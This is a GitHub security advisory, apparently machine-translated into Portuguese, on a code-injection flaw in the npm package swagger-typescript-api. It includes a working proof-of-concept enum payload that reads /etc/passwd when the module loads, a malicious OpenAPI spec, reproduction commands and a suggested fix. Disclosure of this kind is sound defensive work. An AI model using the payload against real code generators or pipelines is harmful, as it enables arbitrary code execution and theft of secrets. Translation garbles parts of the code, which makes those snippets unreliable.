` swagger- typescript- api` interpola os valores de string `components.schemas.*.enum[i]` no corpo das declarações de `enum` geradas do TypeScript sem escapar. Um valor de enum malicioso pode fechar a string enclosing literal, terminar o corpo de enum, e injetar um bloco descarado IIFE que executa em ** carga módulo** na primeira vez que o cliente gerado é importado. O gatilho não requer instantiao e nenhuma chamada de método — somente um `importa' do módulo gerado. O atacante controla a especificação OpenAPI (remote `--url`, especificação de terceiros / público, plataforma multi- locatário); a vítima é quem executa o gerador e importa o resultado (o desenvolvedor, seu corredor CI, ou qualquer consumidor a jusante do pacote gerado). Impacto é execução arbitrária de código com os privilégios do processo de importação — leia qualquer arquivo que o importador possa ler, escrever qualquer arquivo, exfiltrar segredos, etc. A causa raiz é "Ts.StringValue" em `src/ configuration.ts: 250 `. ``` ts StringValue: (conteúdo: desconhecido) => `"${content}"`, ``` Ele envolve um valor em cotas duplas com ** zero escapando** — sem manuseio de `"`, `\`, linhas novas, ou qualquer outra coisa. A única função de escape da base de códigos (` escapeJSDocContent ' em ` src/ schema- parser/ schema- formatters.ts: 127 `) substitui apenas `*/ ' e nunca é aplicado a este caminho.
Os valores de string do Enum atingem o `Ts.StringValue` em `src/schema-parser/base-schema-parsers/enum.ts: 100 ` e `: 116 `: ``` ts retorna este.config.Ts.StringValue(valor); //... valor: este.config.Ts.StringValue(enumName), ``. O resultado é interpolado em bruto no corpo do enum no branch ` templates/base/enum-data-contract.ejs` (por omissão `enumStyle: "enum"`, linhas 24 - 31 ): ```` ejs export enum { {... retorno [ formatadoDescrição && `/** ${formatadoDescrição} */`, `${key} = ${valor}` ].filter(Boolean).join("\n"); }).join(",\n")%> } ````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````.
Onde `${value}` é o resultado de ` Ts.StringValue` — raw `"${content}'. Um valor de enum controlado pelo atacante contendo um `"` fecha a string e expõe a posição do código circundante à injeção. Uma sequência `;}` termina o corpo do enum no meio da corrente. Um ` {` abre um bloco nu no nível superior do módulo. Um async IIFE dentro desse bloco é executado na carga do módulo. Um '//` que segue consome o ''' que ''Ts.StringValue'' ainda anexa, e o '}' de fechamento do enum do modelo torna- se o '}' de fechamento do bloco nu. A análise do TipoScript resultando limpo, os pacotes limpo através de esbuild, e o IIFE dispara em nua ` await import('./generated.js')`. A mesma função `Ts.StringValue` é também chamada de `src/schema-parser/schema-utils.ts: 215,406 `, ` src/schema- parser/base-schema- parsers/object.ts: 47 `, e ` src/schema-parser/base-schema-parsers/discriminator.ts: 88,121,131,195 `. Esses outros locais de chamada atualmente aterrissam em posições de nível tipo (interface/ corpos tipo) onde a fuga não pode atingir o tempo de execução — eles estão seguros ** por acidente de contexto**, não escapando. Uma correção que endurece o `Ts.StringValue` em si protege esses sites também como defesa em profundidade.
Reprodutor autónomo (`run.sh` executa end- to-end: instalar pacote pinned → gerar a partir do controle + carga útil → pacote com esbuild → nue-import → check canary) é adicionado nos comentários. Testado em ` swagger- typescript- api@ 13.12.1 ` e Nodo ` v 24.11.1 `. **Valor de enum mau** (string literal, codificado pelo JSON na especificação abaixo). ``` azul';} {(async()=>{ tente { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf 8 '); fs.writeFileSync('/ tmp/ sta_ canary', d); } catch( e){} }();// ``` ** Especificação mínima de carga útil:**. ``` json { "openapi": " 3.0.0 ", "info": { "título": "EnumPayloadAPI", "version": " 1.0.0 " }, "componentes": { "schemas": { "Color": { "tipo": "string", "enum": [ "vermelho", "blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf 8 ');fs.writeFileSync('/ tmp/sta_canary', d);}catcher( e){}}();//" ] } } }, "caminhos": { "/ping": { "get": { "operationId": "ping", "respostas": { " 200 ": { "descrição": "OK", "content": { "application/json": { "schema": { "$ref": "#/componentes/schemas/Color" } } } } } } } } } } ```.
``` Bash npm instalar swagger- typescript-api@ 13.12.1 esbuild node -e "import('swagger-typescript-api').then(m => m. generateApi({ nome: 'Api.ts', output: process.cwd() + '/out', input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch' })" npx esbuild out/Api.ts --bundle -- format=esm --platform=node \ --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs rm -f /tmp/sta_canary node --input-type=module -e "aguardar import(')./out/Api.bundle.mjs'); aguarde nova promessa(r => setTimeout(r, 300 ));" ls - la /tmp/sta_canary & & cat /tmp/sta_canary `` **Generado `out/ Api.ts` (bloco de enum — carga útil):**. ``` ts exportar enum cor { Vermelho = "vermelho", BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = "azul";} {(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd'),'utf 8 ');fs.writeFileSync('/ tmp/sta_canary', d);} catch( e){}}();//"} ``` O `;}` fecha o corpo do enum. O `{...}` depois de ser um bloco nu no nível superior do módulo. O async IIFE executa- se na carga do módulo e dispara o canário. esbuild analisa isto como TipoScript e pacotes válidos de forma limpa.
**Resultado:** após a "importação" nua do pacote, `/ tmp/sta_canary` contém o `/etc/passwd' completo do processo de importação ( 1470 bytes em um hospedeiro Linux típico). Especificação de controle (`"enum": ["vermelho", "azul"]`) gera um enum limpo e não escreve canário. **Tipo:** Injeção de código na saída gerada (CWE- 94 ) / injeção de modelo- motor (CWE- 1336 ). **Casos de uso afetados:** qualquer desenvolvedor ou pipeline que executa `swagger- typescript-api` contra uma especificação OpenAPI que eles não autor inteiramente. Escenários concretos:.
- `sta gerar --url — uma especificação pública, de terceiros ou de atacante. - Uma especificação de regeneração de clientes de um fornecedor/ parceiro de um conduto CI/CD. - Uma SaaS multi- locante que gera clientes per- locante de especificações fornecidas por inquilino. - Qualquer projeto ligado a um arquivo de especificações que um contribuinte pode modificar via RP — a mudança de especificações é a exploração. **Ciclo de vida:** o bloqueio desnudo IIFE dispara em ** carga do módulo**. Um consumidor não precisa instantânear `HttpClient`, não precisa chamar qualquer método API, não precisa usar o valor enum — só precisa importar o módulo gerado (ou qualquer coisa que o importe transitivamente, por exemplo, o arquivo `data-contracts.ts` no modo modular). Importar um arquivo Tipos de Script é a interação mínima absoluta que um consumidor pode ter com um cliente gerado, o que torna este o afundamento de maior impacto no pacote. **Privilegio:** o IIFE funciona com os privilégios completos do processo de importação — leia/escreva qualquer arquivo que o processo possa acessar, saída de rede, acesso variavel em ambiente, desencadeamento do processo de criança, etc.
**Sugestão de correção:** endurecer "Ts.StringValue" em `src/ configuration.ts: 250 ` para produzir uma string de JavaScript corretamente escavado literal — escape no mínimo `"`, `\`, `\n`, `\r`, `\t`, `\b`, `\f`, `\v`, `\', `\ 0 `, e os separadores de linha/ parágrafo `` / ``. `JSON.stringify` no conteúdo é uma implementação aceitável de uma linha. Esta única mudança também protege todos os outros locais de chamadas de ` Ts.StringValue` (atualmente seguro apenas por acidente de aterrissagem em posições de nível tipo). Enviado por: Hamza Haroon (thegr 1 xintose). Registro de aconselhamento: GHSA- 5 f 94 - x 226 -ccpm. Identificadores relacionados: CVE- 2026 - 54664.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 29 T 14: 33: 00.000 Z e lista a sua última modificação como 2026 - 07 - 29 T 14: 33: 01.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H.
Software afetado e informações de versão: pacote npm swagger-typescript-api — ECOSYSTEM: introduzido 0, corrigido 13.12.2. Classificação e evidência: identificadores de fraqueza CWE- 1336, CWE- 74, CWE- 94. O registro contém 5 suporte de referências nestes tipos: WEB, PACKAGE.